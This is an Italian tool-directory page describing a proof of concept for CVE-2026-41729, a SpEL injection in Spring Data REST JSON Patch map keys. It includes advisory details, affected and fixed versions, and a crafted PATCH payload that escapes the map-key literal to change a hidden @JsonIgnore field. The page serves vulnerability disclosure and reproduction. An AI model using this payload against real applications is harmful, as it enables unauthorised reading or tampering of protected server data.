Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-41729 — CVE-2026-41729 PoC | Kitploit
Strumenti/GitHubGitHub/daehyuh/cve-2026-41729
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubdaehyuh/cve-2026-41729

CVE-2026-41729

CVE-2026-41729 PoC

Vedi Repository
22 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-41729: Spring Data REST JSON Patch Map Key SpEL Injection PoC

Questo repository è una PoC minima di riproduzione per CVE-2026-41729, pubblicata tramite l'avviso di sicurezza ufficiale di Spring.

  • Avviso ufficiale: https://spring.io/security/cve-2026-41729/
  • Titolo ufficiale: Spring Data REST SpEL Injection via Map Key in JSON Patch
  • Gravità: Alta
  • CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
  • Data di pubblicazione: 09-06-2026

Riepilogo della vulnerabilità

Spring Data REST, quando elabora richieste JSON Patch (Content-Type: application/json-patch+json), presentava un problema di inserimento diretto del frammento del percorso della chiave di una proprietà di tipo Map in un'espressione SpEL.

Secondo l'avviso ufficiale, se un'entità persistente espone una proprietà di tipo Map e un attaccante può inviare una richiesta PATCH alla risorsa dell'elemento, può manipolare il segmento della chiave della mappa per uscire dal letterale dell'indicizzatore della mappa previsto e far valutare una sotto-espressione SpEL nel contesto della radice aggregata. È stato dichiarato che sia il percorso di lettura della patch () sia il percorso di scrittura della patch () sono interessati.

Scarica lo strumento
read patch path
write patch path

Questa PoC utilizza il percorso di scrittura della patch per mostrare come un campo @JsonIgnore, non esposto nella normale rappresentazione REST, possa essere modificato tramite un percorso JSON Patch costruito ad arte.

Impatto

Prodotti interessati secondo l'avviso ufficiale:

  • Spring Data REST

Versioni interessate:

  • 3.7.0 - 3.7.19
  • 4.3.0 - 4.3.16
  • 4.4.0 - 4.4.14
  • 4.5.0 - 4.5.11
  • 5.0.0 - 5.0.5
  • Anche versioni precedenti non più supportate potrebbero essere interessate.

Versioni corrette:

  • 3.7.20
  • 4.3.17
  • 4.4.15
  • 4.5.12 o 4.5.11.1
  • 5.0.6 o 5.0.5.1

Cosa mostra questa PoC

Il test avvia una vera applicazione Spring Boot e invia una richiesta HTTP PATCH all'endpoint del repository Spring Data REST.

L'oggetto di dominio ha la seguente struttura:

  • Una mappa people esposta all'esterno.
  • Una mappa hiddenChildren presente all'interno di ogni oggetto Person ma nascosta nella rappresentazione Jackson/Spring Data REST.

Nella normale risposta REST, hiddenChildren e i suoi valori interni non sono visibili.

root@kitploit:~
GET /wrappers/sample

Una JSON Patch che specifica direttamente la proprietà nascosta viene rifiutata.

root@kitploit:~
PATCH /wrappers/sample
Content-Type: application/json-patch+json

[
  {
    "op": "replace",
    "path": "/people/a/hiddenChildren/b/name",
    "value": "after"
  }
]

Tuttavia, utilizzando una chiave della mappa costruita ad arte, è possibile uscire dal letterale della chiave della mappa prevista nel processo di conversione del percorso JSON Patch in percorso SpEL di Spring Data REST, portando al percorso della proprietà nascosta.

root@kitploit:~
PATCH /wrappers/sample
Content-Type: application/json-patch+json

[
  {
    "op": "replace",
    "path": "/people/a'].hiddenChildren['b/name",
    "value": "after"
  }
]

Nelle versioni vulnerabili, questa richiesta ha successo e il valore interno cambia come segue:

root@kitploit:~
before -> after

Il test conferma che non è stata creata una chiave effettiva a'].hiddenChildren['b nella mappa, ma piuttosto che il percorso della proprietà nascosta è stato modificato a causa del breakout dell'espressione.

Come eseguire

Windows:

root@kitploit:~
.\mvnw.cmd test

macOS/Linux:

root@kitploit:~
./mvnw test

Risultato atteso per le versioni vulnerabili:

root@kitploit:~
Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
BUILD SUCCESS

Il successo del test significa che "il comportamento vulnerabile è stato riprodotto". In altre parole, nelle dipendenze vulnerabili, la richiesta JSON Patch costruita ad arte ha successo, dimostrando la modifica dello stato interno nascosto.

Dipendenze utilizzate

Questo repository utilizza il genitore Spring Boot 3.5.14, che risolve spring-data-rest-webmvc 4.5.11. Questa versione rientra nell'intervallo interessato 4.5.0 - 4.5.11 dell'avviso ufficiale.

Perché è pericoloso

Un attaccante in grado di inviare richieste JSON Patch a un endpoint Spring Data REST può manipolare le chiavi della mappa per indurre una valutazione non intenzionale di percorsi SpEL lato server. Di conseguenza, i valori interni del grafo degli oggetti che l'applicazione non intende esporre tramite la rappresentazione REST possono essere letti o modificati.

L'avviso ufficiale ha valutato l'impatto sulla riservatezza e sull'integrità come Alto.

Crediti

L'avviso ufficiale di Spring riporta:

  • Daehyun Kang (@daehyuh)

Link di riferimento

  • Avviso ufficiale Spring: https://spring.io/security/cve-2026-41729/
  • Calcolatore CVSS: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N&version=3.1